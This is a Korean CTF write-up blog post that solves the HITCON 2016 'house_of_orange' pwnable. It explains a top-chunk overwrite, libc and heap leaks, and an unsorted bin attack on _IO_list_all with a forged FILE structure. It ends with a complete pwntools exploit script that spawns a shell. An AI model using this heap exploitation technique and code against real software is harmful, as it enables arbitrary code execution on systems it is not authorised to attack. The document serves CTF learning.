ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HITCON 2016 house_of_orange
    Pwnable/CTF 2017. 12. 11. 22:00

     일단 기본적으로 힙 오버플로우 취약점이있다.
     그것을 이용하여서 house of orange기법을 써서 푸는문제인데 기법만 이해했으면 쉬운문제인것같다.

     사이즈를 0X20FA1 이라면 0xfa1로 만들어주면 탑 청크 사이즈를 조작했을때 오류가 나지 않는다.

     탑 청크사이즈가 제대로 정렬되어있는지 확인을하는곳 때문에 이상하게 조작하면 오류가 난다.


     그리고 top_chunk보다 큰 사이즈를 할당하면 sysmalloc를 하는데 이때 malloc하는 값이 mmap 크기만큼 크지 않으니 할당할려던 청크를 free를 시키고 탑 청크를 새로 배치한다.

    house of orange를 할때 라이브러리는 물론 힙 주소도 필요하다.

    힙 주소는 large chunk에는 힙 주소를 가르키고있는 fd_nextsize와 bk_nextsize가 생기기때문에 이것을 이용하여서 힙 주소를 릭을 할수있다.


     #define fflush(s) _IO_flush_all_lockp 

    malloc_printerr를 쭈욱 타고 들어가다보면 ffulsh를 따로 정의해놓은것이있다.


    이것을 이용하여서 _io_list_all를 변조하는게 주 목적이다.


    _io_list_all은 malloc에서 heap 검사중에 오류가 낫을때 사용되는 함수다.


    https://code.woboq.org/userspace/glibc/libio/genops.c.html#_IO_flush_all_lockp


    이 함수를 보면 fp파일 포인터에 _io_list_all을 집어넣고 링크 드리스트 형식으로 돌아가는 코드가 보일것이다.

    저 사이트에서 _io_list_all를 쭈욱 타고 들어가다보면 _io_list_all에 stderr를 넣는걸 볼 수 있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    758      for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    759        {
    760          run_fp = fp;
    761          if (do_lock)
    762            _IO_flockfile (fp);
    763    
    764          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    765               || (_IO_vtable_offset (fp) == 0
    766                   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    767                                        > fp->_wide_data->_IO_write_base))
    768               )
    769              && _IO_OVERFLOW (fp, EOF) == EOF)
    cs



    이 부분이 가장 중요한 부분이다.

    mode > 0 ptr, base >, < 등 구문들이 true라면 _IO_OVERFLOW가 실행될텐데

    _IO_OVERFLOW는 _IO_FILE_JUMP를 이용하여서 JUMP가 되는 함수 중 하나다.

    그렇기 때문에 _IO_JUMP를 조작해주고 OVERFLOW를 실행하기위한 조건들만 만족시켜준다면 쉘을 딸수있을것이다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    215    struct _IO_wide_data
    216    {
    217      wchar_t *_IO_read_ptr;        /* Current read pointer */
    218      wchar_t *_IO_read_end;        /* End of get area. */
    219      wchar_t *_IO_read_base;        /* Start of putback+get area. */
    220      wchar_t *_IO_write_base;        /* Start of put area. */
    221      wchar_t *_IO_write_ptr;        /* Current put pointer. */
    222      wchar_t *_IO_write_end;        /* End of put area. */
    223      wchar_t *_IO_buf_base;        /* Start of reserve area. */
    224      wchar_t *_IO_buf_end;                /* End of reserve area. */
    225      /* The following fields are used to support backing up and undo. */
    226      wchar_t *_IO_save_base;        /* Pointer to start of non-current get area. */
    227      wchar_t *_IO_backup_base;        /* Pointer to first valid character of
    228                                       backup area */
    229      wchar_t *_IO_save_end;        /* Pointer to end of non-current get area. */
    230    
    231      __mbstate_t _IO_state;
    232      __mbstate_t _IO_last_state;
    233      struct _IO_codecvt _codecvt;
    234    
    235      wchar_t _shortbuf[1];
    236    
    237      const struct _IO_jump_t *_wide_vtable;
    238    };
    239    #endif
    240    
    241    struct _IO_FILE {
    242      int _flags;                /* High-order word is _IO_MAGIC; rest is flags. */
    243    #define _IO_file_flags _flags
    244    
    245      /* The following pointers correspond to the C++ streambuf protocol. */
    246      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
    247      char* _IO_read_ptr;        /* Current read pointer */
    248      char* _IO_read_end;        /* End of get area. */
    249      char* _IO_read_base;        /* Start of putback+get area. */
    250      char* _IO_write_base;        /* Start of put area. */
    251      char* _IO_write_ptr;        /* Current put pointer. */
    252      char* _IO_write_end;        /* End of put area. */
    253      char* _IO_buf_base;        /* Start of reserve area. */
    254      char* _IO_buf_end;        /* End of reserve area. */
    255      /* The following fields are used to support backing up and undo. */
    256      char *_IO_save_base; /* Pointer to start of non-current get area. */
    257      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    258      char *_IO_save_end; /* Pointer to end of non-current get area. */
    259    
    260      struct _IO_marker *_markers;
    261    
    262      struct _IO_FILE *_chain;
    263    
    264      int _fileno;
    265    #if 0
    266      int _blksize;
    267    #else
    268      int _flags2;
    269    #endif
    270      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    271    
    272    #define __HAVE_COLUMN /* temporary */
    273      /* 1+column number of pbase(); 0 is unknown. */
    274      unsigned short _cur_column;
    275      signed char _vtable_offset;
    276      char _shortbuf[1];
    277    
    278      /*  char* _save_gptr;  char* _save_egptr; */
    279    
    280      _IO_lock_t *_lock;
    281    #ifdef _IO_USE_OLD_IO_FILE
    282    };
    283    
    284    struct _IO_FILE_complete
    285    {
    286      struct _IO_FILE _file;
    287    #endif
    288    #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
    289      _IO_off64_t _offset;
    290    # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    291      /* Wide character stream stuff.  */
    292      struct _IO_codecvt *_codecvt;
    293      struct _IO_wide_data *_wide_data;
    294      struct _IO_FILE *_freeres_list;
    295      void *_freeres_buf;
    296    # else
    297      void *__pad1;
    298      void *__pad2;
    299      void *__pad3;
    300      void *__pad4;
    301    # endif
    302      size_t __pad5;
    303      int _mode;
    304      /* Make sure we don't get into trouble again.  */
    305      char _unused2[15 * sizeof (int- 4 * sizeof (void *- sizeof (size_t)];
    306    #endif
    307    };
    cs


    우리가 주로봐야될 구조체들이다.







    _IO_LIST_ALL주소에 _IO_2_1_stderr를 넣었기때문에 쭈욱들어가면 stderr함수를 만나게된다.

    맨 처음 값이 매직값이고 다른것은 위쪽 구조체를 참고하면되는데  0x***2620부분이 stdout이다.

    그렇게되면 저 주소 부분이 fd역할을 하는 _chain이라는것을 알 수 있다. 구조체 분석해도 알수있음

    0x***160 부분이 wide_data부분이다. 저 주소 부분을 힙 주소로 변경하여서 ptr이 base보다 크게끔 주소에 값을 설정해주면된다.


    _chain부분을 수정해서 풀수있는데 대충 플래그기준,64bit기준으로 _chain + 140정도에 _chain이 있다.

    그럼 그쪽부분에는 smallbin이 저장되어있는곳이여서 smallbin에는 fastbin size도 저장을 할 수 있기때문에 그쪽 주소영역에 해당하는 index를 갖는 fast bin으로 unsorted bin의 주소를 변경해 주면 smallbin 에 값을넣을수있다.




    IO_vtable_offset (fp) == 0
    766                   && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    767                                        > fp->_wide_data->_IO_write_base


    일단 위 조건문을 만족시켜야된다.


    293      struct _IO_wide_data *_wide_data;
    294      struct _IO_FILE *_freeres_list;
    295      void *_freeres_buf;
    296    # else
    297      void *__pad1;
    298      void *__pad2;
    299      void *__pad3;
    300      void *__pad4;
    301    # endif
    302      size_t __pad5;
    303      int _mode;


    위 부분이 wide 라면 + 24 다음 부분이 mod일것이다.

    이렇게되면 wide_data를 주작해주고 그 아래 wide데이터 + 24 부분 mod부분을 수정해주고 _IO_FILE_JUMPS 부분을 조작하여서 io_overflow 부분을 system이나 one_shot 으로 덮어주면될것이다 !


    0x00007ffff7dd06e0 = _IO_file_jumps

    저 주소안에 + 24를 한 주소가 _io_overflow 부분이다 (나의 우분투 리눅스에서는)

    그럼 _IO_FILE_JUMPS가 가르키는 주소에 + 24부분이 _io_overflow라고 생각을하고 실행을할것이다.



    구조체값들은 이런식으로 바꿔주면 된다치는데.

    unlink도 아니고 fastbin dup같은것도 아닌데 저 주소 부분을 무엇으로 덮나??
    unsorted_bin으로 main_arena+88을 덮어줄수있다.(탑 청크 주소 저장) 그리고 그 뒤에 last_remainder,unsorted bin,small bin 이 있다.


    우리는 _chain을 수정하여서 문제를 풀 수 있다. 

    _io_list_all를 main_arena + 88로 바꿔주면 64bit 기준으로 + 140? 주소 부분에 _chain주소가 될것이다. 

    smallbin에는 fastbin size도 저장이되기때문에 size를 저 _chain에 저장되게하는 index를 맞춰서 사이즈를 할당하여 주면 _chain을 내가 조작한 사이즈의 청크의 주소가 들어갈것이다.


    그렇게하여서 그 힙 주소에 위 설명에 맞게 조작하여주면 문제를 풀 수 있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    from pwn import *
     
    p=process("./houseoforange")
    elf=ELF("./houseoforange")
     
    def build(size,name,price,color):
        p.recvuntil(': ')
        p.sendline("1")
        p.recvuntil(':')
        p.sendline(str(size))
        p.recvuntil(':')
        p.sendline(name)
        p.recvuntil(':')
        p.sendline(str(price))
        p.recvuntil(':')
        p.sendline(str(color))
        print p.recvuntil('Finish')
     
    def see():
        p.recvuntil(': ')
        p.sendline("2")
    def upgrade(size,name,price,color):
        p.recvuntil(': ')
        p.sendline("3")
        p.recvuntil(':')
        p.sendline(str(size))
        p.recvuntil(':')
        p.sendline(name)
        p.recvuntil(':')
        p.sendline(str(price))
        p.recvuntil(':')
        p.sendline(str(color))
     
    build(24,"A"*23,1000,1#1
    upgrade(70,"A"*24+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0xfa1),1,1#1
    build(4000,"A"*7,1,1#2
    build(1024,"B"*7,1,1#3
    see()
    p.recvuntil("B"*7+"\n")
    main_arena = u64(p.recv(6)+"\x00\x00"- 88 - 1552
    libc_base = main_arena - 0x3c4b20
    _IO_list_all = libc_base + 0x3c5520
    _IO_stdfile_2_lock = libc_base + 0x3c6770
    _IO_wide_data_2 = libc_base + 0x3c4660
    system = libc_base + 0x45390
    print hex(main_arena)
    print hex(_IO_list_all)
    print hex(_IO_stdfile_2_lock)
    print hex(_IO_wide_data_2)
    print hex(system)
    upgrade(16,"B"*15,1,1)
    see()
    p.recvuntil("B"*15+"\n")
    heap = u64(p.recv(6)+"\x00\x00"- 0xc0
    print "heap_base: "+hex(heap)
     
    fake_jump = heap + 0xd0
    print "jump: "+hex(fake_jump)
     
    fake_vtable = p64(0)*9
    fake_vtable += p64(0#io_file_fd
    fake_vtable += p64(2)
    fake_vtable += "\xff"*8
    fake_vtable += p64(0)
    fake_vtable += p64(_IO_stdfile_2_lock)
    fake_vtable += "\xff"*8
    fake_vtable += p64(0)
    fake_vtable += p64(fake_jump+32#wide_data
    fake_vtable += p64(0#freeres_list
    fake_vtable += p64(0#freeres_buf      #5
    fake_vtable += p64(0#pad5
    fake_vtable += p64(3#mode
    fake_vtable += p64(0)*2 #no
    fake_vtable += p64(fake_jump)
     
    payload = p64(0+ p64(0+ p64(0+ p64(system) 
    payload += p64(0)*3                         #wide_data
    payload += p64(1#write_base
    payload += p64(2#write_ptr
    payload += "\x00"*(1024-len(payload))
    payload += p64(0)
    payload += p32(0xdada+ p32(0x20)
    payload += p64(0)
    payload += p64(0)
    payload += "/bin/sh\00" #prev_size, io_file flag
    payload += p64(0x61#size
    payload += p64(1#fd
    payload += p64(_IO_list_all - 0x10#bk -> unsorted bin attack -> io_list_all ptr -> main_arena
    payload += fake_vtable
     
     
    upgrade(len(payload)+1,payload,1,1)
     
     
     
    p.interactive()
     
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    Christmas CTF 2017 bookstore  (0) 2017.12.30
    Christmas CTF 2017 infinite cat  (0) 2017.12.30
    BCTF 2017 Babyuse  (1) 2017.12.01
    TUCTF 2017 Write up  (0) 2017.11.27
    CAT_SECURITY WhiteHackerLeague  (2) 2017.11.19
Designed by Tistory.